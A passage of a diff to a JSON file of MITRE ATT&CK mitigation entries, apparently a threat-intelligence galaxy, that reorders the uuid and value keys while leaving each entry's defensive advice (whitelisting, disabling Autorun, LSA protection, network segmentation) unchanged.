- "uuid": "a13e35cc-8c90-4d77-a965-5461042c1612",
"meta": {
"external_id": "T1023"
- }
+ },
+ "uuid": "a13e35cc-8c90-4d77-a965-5461042c1612",
+ "value": "Shortcut Modification Mitigation - T1023"
},
{
"description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
- "value": "Custom Command and Control Protocol Mitigation - T1094",
- "uuid": "f3d0c735-330f-43c2-8e8e-51bcfa51e8c3",
"meta": {
"external_id": "T1094"
- }
+ },
+ "uuid": "f3d0c735-330f-43c2-8e8e-51bcfa51e8c3",
+ "value": "Custom Command and Control Protocol Mitigation - T1094"
},
{
"description": "Identify unnecessary system utilities, scripts, or potentially malicious software that may be used to transfer data outside of a network, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Automated Exfiltration Mitigation - T1020",
- "uuid": "2497ac92-e751-4391-82c6-1b86e34d0294",
"meta": {
"external_id": "T1020"
- }
+ },
+ "uuid": "2497ac92-e751-4391-82c6-1b86e34d0294",
+ "value": "Automated Exfiltration Mitigation - T1020"
},
{
"description": "Apply supply chain risk management (SCRM) practices and procedures (Citation: MITRE SE Guide 2014), such as supply chain analysis and appropriate risk management, throughout the life-cycle of a system.\n\nLeverage established software development lifecycle (SDLC) practices (Citation: NIST Supply Chain 2012): \n* Uniquely Identify Supply Chain Elements, Processes, and Actors\n* Limit Access and Exposure within the Supply Chain\n* Establish and Maintain the Provenance of Elements, Processes, Tools, and Data\n* Share Information within Strict Limits\n* Perform SCRM Awareness and Training\n* Use Defensive Design for Systems, Elements, and Processes\n* Perform Continuous Integrator Review\n* Strengthen Delivery Mechanisms\n* Assure Sustainment Activities and Processes\n* Manage Disposal and Final Disposition Activities throughout the System or Element Life Cycle",
- "value": "Supply Chain Compromise Mitigation - T1195",
- "uuid": "97d8eadb-0459-4c1d-bf1a-e053bd75df61",
"meta": {
"external_id": "T1195"
- }
+ },
+ "uuid": "97d8eadb-0459-4c1d-bf1a-e053bd75df61",
+ "value": "Supply Chain Compromise Mitigation - T1195"
},
{
"description": "Direct mitigation of this technique is not recommended since it is a legitimate function that can be performed by users for software preferences. Follow Microsoft's best practices for file associations. (Citation: MSDN File Associations)\n\nIdentify and block potentially malicious software that may be executed by this technique using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Change Default File Association Mitigation - T1042",
- "uuid": "d7c49196-b40e-42bc-8eed-b803113692ed",
"meta": {
"external_id": "T1042"
- }
+ },
+ "uuid": "d7c49196-b40e-42bc-8eed-b803113692ed",
+ "value": "Change Default File Association Mitigation - T1042"
},
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about peripheral devices, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Peripheral Device Discovery Mitigation - T1120",
- "uuid": "1881da33-fdf2-4eea-afd0-e04caf9c000f",
"meta": {
"external_id": "T1120"
- }
+ },
+ "uuid": "1881da33-fdf2-4eea-afd0-e04caf9c000f",
+ "value": "Peripheral Device Discovery Mitigation - T1120"
},
{
"description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating specific Windows API calls and/or execution of particular file extensions will likely have unintended side effects, such as preventing legitimate software (i.e., drivers and configuration tools) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.\n\nRestrict storage and execution of Control Panel items to protected directories, such as C:\\Windows, rather than user directories.\n\nIndex known safe Control Panel items and block potentially malicious software using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executable files.\n\nConsider fully enabling User Account Control (UAC) to impede system-wide changes from illegitimate administrators. (Citation: Microsoft UAC)",
- "value": "Control Panel Items Mitigation - T1196",
- "uuid": "3a41b366-cfd6-4af2-a6e7-3c6e3c4ebcef",
"meta": {
"external_id": "T1196"
- }
+ },
+ "uuid": "3a41b366-cfd6-4af2-a6e7-3c6e3c4ebcef",
+ "value": "Control Panel Items Mitigation - T1196"
},
{
"description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
- "value": "Standard Application Layer Protocol Mitigation - T1071",
- "uuid": "addb3703-5a59-4461-9bcd-7e2b5d4e92a0",
"meta": {
"external_id": "T1071"
- }
+ },
+ "uuid": "addb3703-5a59-4461-9bcd-7e2b5d4e92a0",
+ "value": "Standard Application Layer Protocol Mitigation - T1071"
},
{
"description": "Prevent users from changing the HISTCONTROL environment variable (Citation: Securing bash history). Also, make sure that the HISTCONTROL environment variable is set to “ignoredup” instead of “ignoreboth” or “ignorespace”.",
- "value": "HISTCONTROL Mitigation - T1148",
- "uuid": "03c0c586-50ed-45a7-95f4-f496d7eb5330",
"meta": {
"external_id": "T1148"
- }
+ },
+ "uuid": "03c0c586-50ed-45a7-95f4-f496d7eb5330",
+ "value": "HISTCONTROL Mitigation - T1148"
},
{
"description": "Identify and block potentially malicious software that may be used to acquire credentials or information from the user by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)\n\nIn cases where this behavior is difficult to detect or mitigate, efforts can be made to lessen some of the impact that might result from an adversary acquiring credential information. It is also good practice to follow mitigation recommendations for adversary use of Valid Accounts.",
- "value": "Input Capture Mitigation - T1056",
- "uuid": "da8a87d2-946d-4c34-9a30-709058b98996",
"meta": {
"external_id": "T1056"
- }
+ },
+ "uuid": "da8a87d2-946d-4c34-9a30-709058b98996",
+ "value": "Input Capture Mitigation - T1056"
},
{
"description": "Restrict users from being able to create their own login items. Additionally, holding the shift key during login prevents apps from opening automatically (Citation: Re-Open windows on Mac).",
- "value": "Login Item Mitigation - T1162",
- "uuid": "06824aa2-94a5-474c-97f6-57c2e983d885",
"meta": {
"external_id": "T1162"
- }
+ },
+ "uuid": "06824aa2-94a5-474c-97f6-57c2e983d885",
+ "value": "Login Item Mitigation - T1162"
},
{
"description": "Windows 8.1, Windows Server 2012 R2, and later versions may make LSA run as a Protected Process Light (PPL) by setting the Registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL, which requires all SSP DLLs to be signed by Microsoft. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)",
- "value": "Security Support Provider Mitigation - T1101",
- "uuid": "9e57c770-5a39-49a2-bb91-253ba629e3ac",
"meta": {
"external_id": "T1101"
- }
+ },
+ "uuid": "9e57c770-5a39-49a2-bb91-253ba629e3ac",
+ "value": "Security Support Provider Mitigation - T1101"
},
{
"description": "Ensure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected. Ensure that all private keys are stored securely in locations where only the legitimate owner has access to with strong passwords and are rotated frequently. Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities. Do not allow remote access via SSH as root or other privileged accounts. Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse. (Citation: Symantec SSH and ssh-agent)",
- "value": "SSH Hijacking Mitigation - T1184",
- "uuid": "41cff8e9-fd05-408e-b3d5-d98c54c20bcf",
"meta": {
"external_id": "T1184"
- }
+ },
+ "uuid": "41cff8e9-fd05-408e-b3d5-d98c54c20bcf",
+ "value": "SSH Hijacking Mitigation - T1184"
},
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about processes, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Process Discovery Mitigation - T1057",
- "uuid": "f6469191-1814-4dbe-a081-2a6daf83a10b",
"meta": {
"external_id": "T1057"
- }
+ },
+ "uuid": "f6469191-1814-4dbe-a081-2a6daf83a10b",
+ "value": "Process Discovery Mitigation - T1057"
},
{
"description": "Properly configure firewalls, application firewalls, and proxies to limit outgoing traffic to sites and services used by remote access tools.\n\nNetwork intrusion detection and prevention systems that use network signatures may be able to prevent traffic to these services as well.\n\nUse application whitelisting to mitigate use of and installation of unapproved software.",
- "value": "Remote Access Tools Mitigation - T1219",
- "uuid": "af093bc8-7b59-4e2a-9da8-8e839b4c50c6",
"meta": {
"external_id": "T1219"
- }
+ },
+ "uuid": "af093bc8-7b59-4e2a-9da8-8e839b4c50c6",
+ "value": "Remote Access Tools Mitigation - T1219"
},
{
"description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if it is not required for business operations. (Citation: TechNet Removable Media Control)\n\nIdentify potentially malicious software that may be used to infect removable media or may result from tainted removable media, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Replication Through Removable Media Mitigation - T1091",
- "uuid": "effb83a0-ead1-4b36-b7f6-b7bdf9c4616e",
"meta": {
"external_id": "T1091"
- }
+ },
+ "uuid": "effb83a0-ead1-4b36-b7f6-b7bdf9c4616e",
+ "value": "Replication Through Removable Media Mitigation - T1091"
},
{
"description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
- "value": "Scheduled Transfer Mitigation - T1029",
- "uuid": "1c0711c8-2a73-48a1-893d-ff88bcd23824",
"meta": {
"external_id": "T1029"
- }
+ },
+ "uuid": "1c0711c8-2a73-48a1-893d-ff88bcd23824",
+ "value": "Scheduled Transfer Mitigation - T1029"
},
{
"description": "Prevent adversary access to privileged accounts necessary to install a hypervisor.",
- "value": "Hypervisor Mitigation - T1062",
- "uuid": "2c3ce852-06a2-40ee-8fe6-086f6402a739",
"meta": {
"external_id": "T1062"
- }
+ },
+ "uuid": "2c3ce852-06a2-40ee-8fe6-086f6402a739",
+ "value": "Hypervisor Mitigation - T1062"
},
{
"description": "Encryption and off-system storage of sensitive information may be one way to mitigate collection of files, but may not stop an adversary from acquiring the information if an intrusion persists over a long period of time and the adversary is able to discover and access the data through other means. A keylogger installed on a system may be able to intercept passwords through Input Capture and be used to decrypt protected documents that an adversary may have collected. Strong passwords should be used to prevent offline cracking of encrypted documents through Brute Force techniques.\n\nIdentify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to collect files and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Automated Collection Mitigation - T1119",
- "uuid": "8bd1ae32-a686-48f4-a6f8-470287f76152",
"meta": {
"external_id": "T1119"
- }
+ },
+ "uuid": "8bd1ae32-a686-48f4-a6f8-470287f76152",
+ "value": "Automated Collection Mitigation - T1119"
},
{
"description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)",
- "value": "Exfiltration Over Physical Medium Mitigation - T1052",
- "uuid": "e547ed6a-f1ca-40df-8613-2ce27927f145",
"meta": {
"external_id": "T1052"
- }
+ },
+ "uuid": "e547ed6a-f1ca-40df-8613-2ce27927f145",
+ "value": "Exfiltration Over Physical Medium Mitigation - T1052"
},
{
"description": "There currently aren't a lot of ways to mitigate application shimming. Disabling the Shim Engine isn't recommended because Windows depends on shimming for interoperability and software may become unstable or not work. Microsoft released an optional patch update - KB3045645 - that will remove the \"auto-elevate\" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC. \n\nChanging UAC settings to \"Always Notify\" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.",
- "value": "Application Shimming Mitigation - T1138",
- "uuid": "cfc2d2fc-14ff-495f-bd99-585be47b804f",
"meta": {
"external_id": "T1138"
- }
+ },
+ "uuid": "cfc2d2fc-14ff-495f-bd99-585be47b804f",
+ "value": "Application Shimming Mitigation - T1138"
},
{
"description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized users can create scheduled jobs. Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule jobs using whitelisting tools.",
- "value": "Local Job Scheduling Mitigation - T1168",
- "uuid": "c47a9b55-8f61-4b82-b833-1db6242c754e",
"meta": {
"external_id": "T1168"
- }
+ },
+ "uuid": "c47a9b55-8f61-4b82-b833-1db6242c754e",
+ "value": "Local Job Scheduling Mitigation - T1168"
},
{
"description": "Mitigation of this technique may be difficult and unadvised due to the the legitimate use of hidden files and directories.",
- "value": "Hidden Files and Directories Mitigation - T1158",
- "uuid": "84d633a4-dd93-40ca-8510-40238c021931",
"meta": {
"external_id": "T1158"
- }
+ },
+ "uuid": "84d633a4-dd93-40ca-8510-40238c021931",
+ "value": "Hidden Files and Directories Mitigation - T1158"
},
{
"description": "Prevent files from having a trailing space after the extension.",
- "value": "Space after Filename Mitigation - T1151",
- "uuid": "02f0f92a-0a51-4c94-9bda-6437b9a93f22",
"meta": {
"external_id": "T1151"
- }
+ },
+ "uuid": "02f0f92a-0a51-4c94-9bda-6437b9a93f22",
+ "value": "Space after Filename Mitigation - T1151"
},
{
"description": "Follow Office macro security best practices suitable for your environment. Disable Office VBA macros from executing. Even setting to disable with notification could enable unsuspecting users to execute potentially malicious macros. (Citation: TechNet Office Macro Security)\n\nFor the Office Test method, create the Registry key used to execute it and set the permissions to \"Read Control\" to prevent easy access to the key without administrator permissions or requiring Privilege Escalation. (Citation: Palo Alto Office Test Sofacy)\n\nDisable Office add-ins. If they are required, follow best practices for securing them by requiring them to be signed and disabling user notification for allowing add-ins. For some add-ins types (WLL, VBA) additional mitigation is likely required as disabling add-ins in the Office Trust Center does not disable WLL nor does it prevent VBA code from executing. (Citation: MRWLabs Office Persistence Add-ins)",
- "value": "Office Application Startup Mitigation - T1137",
- "uuid": "8ca6a5e0-aae5-49bc-8d07-f888c7dba9ea",
"meta": {
"external_id": "T1137"
- }
+ },
+ "uuid": "8ca6a5e0-aae5-49bc-8d07-f888c7dba9ea",
+ "value": "Office Application Startup Mitigation - T1137"
},
{
"description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
- "value": "Data Encoding Mitigation - T1132",
- "uuid": "fcbe8424-eb3e-4794-b76d-e743f5a49b8b",
"meta": {
"external_id": "T1132"
- }
+ },
+ "uuid": "fcbe8424-eb3e-4794-b76d-e743f5a49b8b",
+ "value": "Data Encoding Mitigation - T1132"
},
{
"description": "Due to potential legitimate uses of source commands, it's may be difficult to mitigate use of this technique.",
- "value": "Source Mitigation - T1153",
- "uuid": "5391ece4-8866-415d-9b5e-8dc5944f612a",
"meta": {
"external_id": "T1153"
- }
+ },
+ "uuid": "5391ece4-8866-415d-9b5e-8dc5944f612a",
+ "value": "Source Mitigation - T1153"
},
{
"description": "Update software regularly. Install software in write-protected locations. Use the program sxstrace.exe that is included with Windows along with manual inspection to check manifest files for side-loading vulnerabilities in software.",
- "value": "DLL Side-Loading Mitigation - T1073",
- "uuid": "7a14d974-f3d9-4e4e-9b7d-980385762908",
"meta": {
"external_id": "T1073"
- }
+ },
+ "uuid": "7a14d974-f3d9-4e4e-9b7d-980385762908",
+ "value": "DLL Side-Loading Mitigation - T1073"
},
{
"description": "Prevent users from installing their own launch agents or launch daemons and instead require them to be pushed out by group policy.",
- "value": "Launchctl Mitigation - T1152",
- "uuid": "e333cf16-5bfa-453e-8e6a-3a4c63d6bfcc",
"meta": {
"external_id": "T1152"
- }
+ },
+ "uuid": "e333cf16-5bfa-453e-8e6a-3a4c63d6bfcc",
+ "value": "Launchctl Mitigation - T1152"
},
{
"description": "Identify potentially malicious software that may contain rootkit functionality, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Rootkit Mitigation - T1014",
- "uuid": "95ddb356-7ba0-4bd9-a889-247262b8946f",
"meta": {
"external_id": "T1014"
- }
+ },
+ "uuid": "95ddb356-7ba0-4bd9-a889-247262b8946f",
+ "value": "Rootkit Mitigation - T1014"
},
{
"description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of AD design features. For example, mitigating specific AD API calls will likely have unintended side effects, such as preventing DC replication from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.",
- "value": "DCShadow Mitigation - T1207",
- "uuid": "b70627f7-3b43-4c6f-8fc0-c918c41f8f72",
"meta": {
"external_id": "T1207"
- }
+ },
+ "uuid": "b70627f7-3b43-4c6f-8fc0-c918c41f8f72",
+ "value": "DCShadow Mitigation - T1207"
},
{
"description": "Misconfiguration of permissions in the Registry may lead to opportunities for an adversary to execute code, like through Service Registry Permissions Weakness. Ensure proper permissions are set for Registry hives to prevent users from modifying keys for system components that may lead to privilege escalation.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to modify the Registry by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Modify Registry Mitigation - T1112",
- "uuid": "ed202147-4026-4330-b5bd-1e8dfa8cf7cc",
"meta": {
"external_id": "T1112"
- }
+ },
+ "uuid": "ed202147-4026-4330-b5bd-1e8dfa8cf7cc",
+ "value": "Modify Registry Mitigation - T1112"
},
{
"description": "Benign software uses legitimate processes to gather system time. Efforts should be focused on preventing unwanted or unknown code from executing on a system. Some common tools, such as net.exe, may be blocked by policy to prevent common ways of acquiring remote system time.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to acquire system time information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "System Time Discovery Mitigation - T1124",
- "uuid": "82d8e990-c901-4aed-8596-cc002e7eb307",
"meta": {
"external_id": "T1124"
- }
+ },
+ "uuid": "82d8e990-c901-4aed-8596-cc002e7eb307",
+ "value": "System Time Discovery Mitigation - T1124"
},
{
"description": "Application Isolation and least privilege help lesson the impact of an exploit. Application isolation will limit what other processes and system features the exploited target can access, and least privilege for service accounts will limit what permissions the exploited process gets on the rest of the system. Web Application Firewalls may may be used to limit exposure of applications.\n\nSegment externally facing servers and services from the rest of the network with a DMZ or on separate hosting infrastructure.\n\nUse secure coding best practices when designing custom software that is meant for deployment to externally facing systems. Avoid issues documented by OWASP, CWE, and other software weakness identification efforts.\n\nRegularly scan externally facing systems for vulnerabilities and establish procedures to rapidly patch systems when critical vulnerabilities are discovered through scanning and through public disclosure.",
- "value": "Exploit Public-Facing Application Mitigation - T1190",
- "uuid": "65da1eb6-d35d-4853-b280-98a76c0aef53",
"meta": {
"external_id": "T1190"
- }
+ },
+ "uuid": "65da1eb6-d35d-4853-b280-98a76c0aef53",
+ "value": "Exploit Public-Facing Application Mitigation - T1190"
},
{
"description": "Identify and block potentially malicious software that may be executed through AppCert DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.",
- "value": "AppCert DLLs Mitigation - T1182",
- "uuid": "95c29444-49f9-49f7-8b20-bcd68d8fcaa6",
"meta": {
"external_id": "T1182"
- }
+ },
+ "uuid": "95c29444-49f9-49f7-8b20-bcd68d8fcaa6",
+ "value": "AppCert DLLs Mitigation - T1182"
},
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about network connections, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "System Network Connections Discovery Mitigation - T1049",
- "uuid": "c1676218-c16a-41c9-8f7a-023779916e39",
"meta": {
"external_id": "T1049"
- }
+ },
+ "uuid": "c1676218-c16a-41c9-8f7a-023779916e39",
+ "value": "System Network Connections Discovery Mitigation - T1049"
},
{
"description": "Registry keys specific to Microsoft Office feature control security can be set to disable automatic DDE/OLE execution. (Citation: Microsoft DDE Advisory Nov 2017) (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: GitHub Disable DDEAUTO Oct 2017) Microsoft also created Registry keys to completely disable DDE execution in Word and Excel. (Citation: Microsoft ADV170021 Dec 2017)\n\nEnsure Protected View is enabled (Citation: Microsoft Protected View) and consider disabling embedded files in Office programs, such as OneNote, not enrolled in Protected View. (Citation: Enigma Reviving DDE Jan 2018) (Citation: GitHub Disable DDEAUTO Oct 2017)\n\nOn Windows 10, enable Attack Surface Reduction (ASR) rules to prevent DDE attacks and spawning of child processes from Office programs. (Citation: Microsoft ASR Nov 2017) (Citation: Enigma Reviving DDE Jan 2018)",
- "value": "Dynamic Data Exchange Mitigation - T1173",
- "uuid": "80c91478-ac87-434f-bee7-11f37aec4d74",
"meta": {
"external_id": "T1173"
- }
+ },
+ "uuid": "80c91478-ac87-434f-bee7-11f37aec4d74",
+ "value": "Dynamic Data Exchange Mitigation - T1173"
},
{
"description": "Disable LLMNR and NetBIOS in local computer security settings or by group policy if they are not needed within an environment. (Citation: ADSecurity Windows Secure Baseline)\n\nUse host-based security software to block LLMNR/NetBIOS traffic.",
- "value": "LLMNR/NBT-NS Poisoning Mitigation - T1171",
- "uuid": "54246e2e-683f-4bf2-be4c-d7d5a60e7d22",
"meta": {
"external_id": "T1171"
- }
+ },
+ "uuid": "54246e2e-683f-4bf2-be4c-d7d5a60e7d22",
+ "value": "LLMNR/NBT-NS Poisoning Mitigation - T1171"
},
{
"description": "Blocking software based on screen capture functionality may be difficult, and there may be legitimate software that performs those actions. Instead, identify potentially malicious software that may have functionality to acquire screen captures, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Screen Capture Mitigation - T1113",
- "uuid": "51b37302-b844-4c08-ac98-ae6955ed1f55",
"meta": {
"external_id": "T1113"
- }
+ },
+ "uuid": "51b37302-b844-4c08-ac98-ae6955ed1f55",
+ "value": "Screen Capture Mitigation - T1113"
},
{
"description": "Do not reuse local administrator account passwords across systems. Ensure password complexity and uniqueness such that the passwords cannot be cracked or guessed. Deny remote use of local admin credentials to log into systems. Do not allow domain user accounts to be in the local Administrators group multiple systems.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to leverage SMB and the Windows admin shares, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Windows Admin Shares Mitigation - T1077",
- "uuid": "308855d1-078b-47ad-8d2a-8f9b2713ffb5",
"meta": {
"external_id": "T1077"
- }
+ },
+ "uuid": "308855d1-078b-47ad-8d2a-8f9b2713ffb5",
+ "value": "Windows Admin Shares Mitigation - T1077"
},
{
"description": "Identify unnecessary system utilities or potentially malicious software that may be used to deobfuscate or decode files or information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
- "value": "Deobfuscate/Decode Files or Information Mitigation - T1140",
- "uuid": "d01f473f-3cdc-4867-9e55-1de9cf1986f0",
"meta": {
"external_id": "T1140"
- }
+ },
+ "uuid": "d01f473f-3cdc-4867-9e55-1de9cf1986f0",
+ "value": "Deobfuscate/Decode Files or Information Mitigation - T1140"
},
{
"description": "Segment networks and systems appropriately to reduce access to critical systems and services to controlled methods. Minimize available services to only those that are necessary. Regularly scan the internal network for available services to identify new and potentially vulnerable services. Minimize permissions and access for service accounts to limit impact of exploitation.\n\nUpdate software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for all software or services targeted.",
- "value": "Exploitation of Remote Services Mitigation - T1210",
- "uuid": "14b63e6b-7531-4476-9e60-02cc5db48b62",
"meta": {
"external_id": "T1210"
- }
+ },
+ "uuid": "14b63e6b-7531-4476-9e60-02cc5db48b62",
+ "value": "Exploitation of Remote Services Mitigation - T1210"
},
{
"description": "Preventing users from deleting or writing to certain files can stop adversaries from maliciously altering their ~/.bash_history files. Additionally, making these environment variables readonly can make sure that the history is preserved (Citation: Securing bash history).",
- "value": "Clear Command History Mitigation - T1146",
- "uuid": "3e7018e9-7389-48e7-9208-0bdbcbba9483",
"meta": {
"external_id": "T1146"
- }
+ },
+ "uuid": "3e7018e9-7389-48e7-9208-0bdbcbba9483",
+ "value": "Clear Command History Mitigation - T1146"
},
{
"description": "Use auditing tools capable of detecting privilege and service abuse opportunities on systems within an enterprise and correct them. Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations. Toolkits like the PowerSploit framework contain the PowerUp modules that can be used to explore systems for Privilege Escalation weaknesses. (Citation: Powersploit)\n\nIdentify and block potentially malicious software that may be executed through service abuse by using whitelisting (Citation: Beechey 2010) tools like AppLocker (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown programs.",
- "value": "Modify Existing Service Mitigation - T1031",
- "uuid": "fe0aeb41-1a51-4152-8467-628256ea6adf",
"meta": {
"external_id": "T1031"
- }
+ },
+ "uuid": "fe0aeb41-1a51-4152-8467-628256ea6adf",
+ "value": "Modify Existing Service Mitigation - T1031"
},
{
"description": "Update software regularly by employing patch management for internal enterprise endpoints and servers. Develop a robust cyber threat intelligence capability to determine what types and levels of threat may use software exploits and 0-days against a particular organization. Make it difficult for adversaries to advance their operation through exploitation of undiscovered or unpatched vulnerabilities by using sandboxing, if available. Other types of virtualization and application microsegmentation may also mitigate the impact of some types of exploitation. The risks of additional exploits and weaknesses in implementation may still exist. (Citation: Ars Technica Pwn2Own 2017 VM Escape)\n\nSecurity applications that look for behavior used during exploitation such as Windows Defender Exploit Guard (WDEG) and the Enhanced Mitigation Experience Toolkit (EMET) can be used to mitigate some exploitation behavior. (Citation: TechNet Moving Beyond EMET) Control flow integrity checking is another way to potentially identify and stop a software exploit from occurring. (Citation: Wikipedia Control Flow Integrity) Many of these protections depend on the architecture and target application binary for compatibility and may not work for software targeted for defense evasion.",
- "value": "Exploitation for Credential Access Mitigation - T1212",
- "uuid": "06160d81-62be-46e5-aa37-4b9c645ffa31",
"meta": {
"external_id": "T1212"
- }
+ },
+ "uuid": "06160d81-62be-46e5-aa37-4b9c645ffa31",
+ "value": "Exploitation for Credential Access Mitigation - T1212"
},
{
"description": "Network segmentation can be used to isolate infrastructure components that do not require broad network access. Properly manage accounts and permissions used by parties in trusted relationships to minimize potential abuse by the party and if the party is compromised by an adversary. Vet the security policies and procedures of organizations that are contracted for work that require privileged access to network resources.",
- "value": "Trusted Relationship Mitigation - T1199",
- "uuid": "797312d4-8a84-4daf-9c56-57da4133c322",
"meta": {
"external_id": "T1199"
- }
+ },
